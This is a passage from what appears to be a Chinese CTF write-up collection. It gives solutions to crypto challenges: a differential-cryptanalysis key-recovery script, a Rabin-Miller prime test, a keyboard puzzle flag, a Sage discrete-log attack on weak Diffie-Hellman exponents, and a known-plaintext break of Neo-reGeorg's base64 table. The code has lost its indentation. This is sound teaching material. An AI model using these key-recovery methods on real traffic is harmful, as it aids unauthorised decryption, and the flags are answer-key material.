t = new_p_box_list[i][0] * 2 ** 3 + new_p_box_list[i][1] * 2 ** 2 + new_p_box_list[i][2] * 2 ** 1 + \
new_p_box_list[i][3] * 2 ** 0
sp[i][0] = S_list[i].index(t, 0, 16)
#print(sp[0])
sp[i][1] = S_list[i].index(t, 16, 32)
sp[i][2] = S_list[i].index(t, 32, 48)
sp[i][3] = S_list[i].index(t, 48, 64)
row = [[0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3], [0, 1, 2, 3],
[0, 1, 2, 3]]
clum = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0],
[0, 0, 0, 0]]
# row[i][0]= 0
# #print(row[i])
clum[i][j] = (int(sp[i][j]) % 16)
_num1 = [[0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]]
_num2 = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0],
[0, 0, 0, 0]]
_num1[i] = bin(row[i][j])[2:].zfill(2)
_num2[i] = bin(clum[i][j])[2:].zfill(4)
s_in[i][j] = [int(_num1[i][0]), int(_num2[i][0]), int(_num2[i][1]), int(_num2[i][2]), int(_num2[i][3]),
int(_num1[i][1])]
# return result
# #print(s_in)
key_possible = [
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]],
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]],
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]],
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]],
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]],
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]],
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]],
[[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0],[0,0,0,0,0,0]]]
for i in range(8):
for j in range(4):
for k in range(6):
key_possible[i][j][k] = int(s_in[i][j][k]) ^ int(new_extend_list[i][k])
return key_possible
key_real = [[0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0]]
key1 = []
key2 = []
key3 = []
key4 = []
key5 = []
key6 = []
key7 = []
key8 = []
def cryptanalysis(key_poss1, key_poss2, key_poss3):
for j in range(4):
for k in range(4):
if key_poss1[0][0] == key_poss2[0][j] == key_poss3[0][k] or key_poss1[0][1] == key_poss2[0][j] == \
key_poss3[0][k] or \
key_poss1[0][2] == key_poss2[0][j] == key_poss3[0][k] or key_poss1[0][3] == key_poss2[0][j] == \
key_poss3[0][k]:
key1.append(key_poss2[0][j])
# if len(key1) == 1:
#print("key1:", key1)
if key_poss1[1][0] == key_poss2[1][j] == key_poss3[1][k] or key_poss1[1][1] == key_poss2[1][j] == \
key_poss3[1][k] or \
key_poss1[1][2] == key_poss2[1][j] == key_poss3[1][k] or key_poss1[1][3] == key_poss2[1][j] == \
key_poss3[1][k]:
key2.append(key_poss2[1][j])
# if len(key2) == 1:
#print("key2:", key2)
if key_poss1[2][0] == key_poss2[2][j] == key_poss3[2][k] or key_poss1[2][1] == key_poss2[2][j] == \
key_poss3[2][k] or key_poss1[2][2] == key_poss2[2][j] == key_poss3[2][k] or key_poss1[2][3] == \
key_poss2[2][j] == key_poss3[2][k]:
key3.append(key_poss2[2][j])
# if len(key3) == 1:
#print("key3:", key3)
if key_poss1[3][0] == key_poss2[3][j] == key_poss3[3][k] or key_poss1[3][1] == \
key_poss2[3][j] == key_poss3[3][k] or key_poss1[3][2] == key_poss2[3][j] == \
key_poss3[3][k] or key_poss1[3][3] == key_poss2[3][j] == key_poss3[3][k]:
key4.append(key_poss2[3][j])
# if len(key4) == 1:
#print("key4:", key4)
if key_poss1[4][0] == key_poss2[4][j] == key_poss3[4][k] or key_poss1[4][1] == \
key_poss2[4][j] == key_poss3[4][k] or key_poss1[4][2] == key_poss2[4][j] == key_poss3[4][k] \
or key_poss1[4][3] == key_poss2[4][j] == key_poss3[4][k]:
key5.append(key_poss2[4][j])
# if len(key5)==1:
#print("key5:", key5)
if key_poss1[5][0] == key_poss2[5][j] == key_poss3[5][k] or key_poss1[5][1] == \
key_poss2[5][j] == key_poss3[5][k] or key_poss1[5][2] == \
key_poss2[5][j] == key_poss3[5][k] or key_poss1[5][3] == \
key_poss2[5][j] == key_poss3[5][k]:
key6.append(key_poss2[5][j])
# if len(key6)==1:
#print("key6:", key6)
if key_poss1[6][0] == key_poss2[6][j] == key_poss3[6][k] or \
key_poss1[6][1] == key_poss2[6][j] == key_poss3[6][k] or \
key_poss1[6][2] == key_poss2[6][j] == key_poss3[6][k] or \
key_poss1[6][3] == key_poss2[6][j] == key_poss3[6][k]:
key7.append(key_poss2[6][j])
# if len(key7) == 1:
#print("key7:", key7)
if key_poss1[7][0] == key_poss2[7][j] == key_poss3[7][k] or \
key_poss1[7][1] == key_poss2[7][j] == key_poss3[7][k] or \
key_poss1[7][2] == key_poss2[7][j] == key_poss3[7][k] or \
key_poss1[7][3] == key_poss2[7][j] == key_poss3[7][k]:
key8.append(key_poss2[7][j])
#print("key8:", key8)
#print("key zhaodaol")
key_real[0] = key1[0]
key_real[1] = key2[0]
key_real[2] = key3[0]
key_real[3] = key4[0]
key_real[4] = key5[0]
key_real[5] = key6[0]
key_real[6] = key7[0]
key_real[7] = key8[0]
if __name__ == '__main__':
plaintext1 = "4845AB454511C0F0"
miwen1 = "2EA85F08AA80C2D2"
plaintext2 = "0123456789ABCDEF"
miwen2 = "0293A8B9E45FCE5D"
plaintext3 = "81120015A001FDF1"
miwen3 = "E88382207800FE7A"
plaintext1 = input("请输入第一组明文:")
miwen1 = input("请输入第一组密文:")
plaintext2 = input("请输入第二组明文:")
miwen2 = input("请输入第一组密文:")
plaintext3 = input("请输入第三组明文:")
miwen3 = input("请输入第一组密文:")
key_poss1 = key_poss(plaintext1, miwen1, 1)
key_poss2 = key_poss(plaintext2, miwen2, 2)
key_poss3 = key_poss(plaintext3, miwen3, 3)
#print(key_poss1[0],key_poss2[0],key_poss3[0],sep='\n')
cryptanalysis(key_poss1, key_poss2, key_poss3)
# miyao = twoto16(key_real)
print("经过差分密码分析得知,密钥为:\n", key_real)
# #print("miyao:",miyao)
24 素数
难度:入门
该题主要考察大素数检测的知识,根据费马小定理设计的rabin_Miller算法是效率最高的算法之一,虽然并不能100%保证通过检测的数一定是素数(比如561,伪质数),但是再添加足够多的底数后,是可以保证通过检测的数绝大概率可用的(伪质数出现概率大概为2的100次方分之一),该素性检测算法现如今应用于各类加密算法。顺道一提,另一种可以确定性检测素性(不会出现误测)的AKS素性检测的基本理念也是费马小定理,只是在多项式的时间复杂度内排除掉了被检测数是所有种类的伪质数的情况。
脚本如下:
import random
def rabin_miller(num):
s = num - 1
t = 0
while s % 2 == 0:
s = s // 2
t += 1
for trials in range(5):
a = random.randrange(2, num - 1)
v = pow(a, s, num)
if v != 1:
i = 0
while v != (num - 1):
if i == t - 1:
return False
else:
i = i + 1
v = (v ** 2) % num
return True
def is_prime(num):
# 排除0,1和负数
if num < 2:
return False
# 创建小素数的列表,可以大幅加快速度
# 如果是小素数,那么直接返回true
small_primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997]
if num in small_primes:
return True
# 如果大数是这些小素数的倍数,那么就是合数,返回false
for prime in small_primes:
if num % prime == 0:
return False
# 如果这样没有分辨出来,就一定是大整数,那么就调用rabin算法
return rabin_miller(num)
# 得到大整数,默认位数为1024
def get_prime(key_size=1024):
while True:
num = random.randrange(2**(key_size-1), 2**key_size)
if is_prime(num):
return num
if __name__ == '__main__':
print("print check number")
a=input()
a= int(a)
if a > 0:
print(is_prime(a))
25 键盘侠
根据给出的文字
对应键盘上的按键画图案
对应字符分别为
C L C K O U T H K
根据要求得到flag
flag{CLCKOUTHK}
26 silent_peeper
sage已经封装好了这个攻击,得到a,b后算出key进行AES解密即可
p = 174807157365465092731323561678522236549173502913317875393564963123330281052524687450754910240009920154525635325209526987433833785499384204819179549544106498491589834195860008906875039418684191252537604123129659746721614402346449135195832955793815709136053198207712511838753919608894095907732099313139446299843
g = 41899070570517490692126143234857256603477072005476801644745865627893958675820606802876173648371028044404957307185876963051595214534530501331532626624926034521316281025445575243636197258111995884364277423716373007329751928366973332463469104730271236078593527144954324116802080620822212777139186990364810367977
A = 142989488568573584455487421652639325256968267580899511353325709765313839485530879575182195391847106611058986646758739505820350416810754259522949402428485456431884223161690132385605038767582431070875138678612435983425500273038807582069763455994486365993366499478412783220052753597397455113133312907456163112016L
B = 16631700400183329608792112442038543911563829699195024819408410612490671355739728510944167852170853457830111233224257622677296345757516691802411264928943809622556723315310581871447325139349242754287009766402650270061476954875266747743058962546605854650101122523183742112737784691464177427011570888040416109544L
k = GF(p)
a = discrete_log_lambda(k(A),k(g),(2**39,2**40))
b = discrete_log_lambda(k(B),k(g),(2**39,2**40))
print(a)
print(b)
27 Neo-reGeorg
Neo-reGeorg 使用的一种简单的base64换表加密 这种方法在已知明文的时候十分脆弱
使用提供的日志很容易拼出第一个http请求的部分开头明文(注意流量换行使用的是\n\r)
GET / HTTP/1.1
Host: 192.168.234.176
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
使用base64编码后与密文对比 可以还原出大部分映射表
剩余的少量映射关系可以通过爆破得出
拿到表后即可完整解密通信流量得到flag